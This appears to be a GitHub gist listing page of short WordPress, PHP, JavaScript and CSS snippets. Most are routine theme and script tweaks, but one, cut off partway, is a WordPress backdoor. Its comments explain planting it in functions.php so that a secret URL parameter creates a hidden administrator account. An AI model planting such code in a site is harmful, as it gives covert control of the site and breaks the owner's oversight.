This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Trim and get the value of URL parameter from URL | |
var getUrlParameter = function getUrlParameter(sParam) { | |
var sPageURL = window.location.search.substring(1), | |
sURLVariables = sPageURL.split('&'), | |
sParameterName, | |
i; | |
for (i = 0; i < sURLVariables.length; i++) { | |
sParameterName = sURLVariables[i].split('='); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Here is the full video: https://youtu.be/F2dFOSIivRA | |
//Dequeue Elementor Pro smartmenus script | |
function elementor_pro_dequeue_script(){ | |
wp_dequeue_script('smartmenus'); | |
} | |
add_action('wp_footer', 'elementor_pro_dequeue_script', 15); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Smartphones (portrait and landscape) ----------- */ | |
@media only screen and (min-device-width : 320px) and (max-device-width : 480px) { | |
/* Styles */ | |
} | |
/* Smartphones (landscape) ----------- */ | |
@media only screen and (min-width : 321px) { | |
/* Styles */ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$_GET and $_POST are Superglobal variables in PHP which used to collect data from HTML form and URL. | |
There are two ways the browser(client) can send information to the web server. | |
-The GET Method | |
-The POST Method | |
*********The GET Method********* | |
In PHP, the $_GET variable is used to collect values from HTML forms using method get. | |
Information sent from an HTML form with the GET method is displayed in the browser's address bar, and it has a limit on the amount of information to send. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock | |
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users. | |
//After that you can login on your site with this username and password. | |
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts | |
<?php | |
add_action('wp_head', 'wploop_backdoor'); | |
function wploop_backdoor() { | |
If ($_GET['backdoor'] == 'knockknock') { | |
require('wp-includes/registration.php'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//For one page | |
add_action('wp_print_scripts', function () { | |
if ( !is_page('contact-us') ){ | |
wp_dequeue_script( 'google-recaptcha' ); | |
} | |
}); | |
//For multiple pages | |
add_action('wp_print_scripts', function () { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
$(document).ready(function(){ | |
if ($('.mwd-success').css('display') == 'block') { | |
$('.email-confirm-sub').css('display', 'none'); | |
} | |
}); | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
To know the differnce of these 3 function of WP, we need to print this 3 function. | |
Lets say, Our theme name is "wp-rootstrap". We create a child theme named, "wp-rootstrap-child". Inside child theme, we created header.php | |
and write the bellow codes to see the results. | |
<?php echo get_stylesheet_directory_uri() ."<br>"; ?> | |
<?php echo get_template_directory_uri() ."<br>"; ?> | |
<?php echo get_stylesheet_uri() ."<br>"; ?> | |
NewerOlder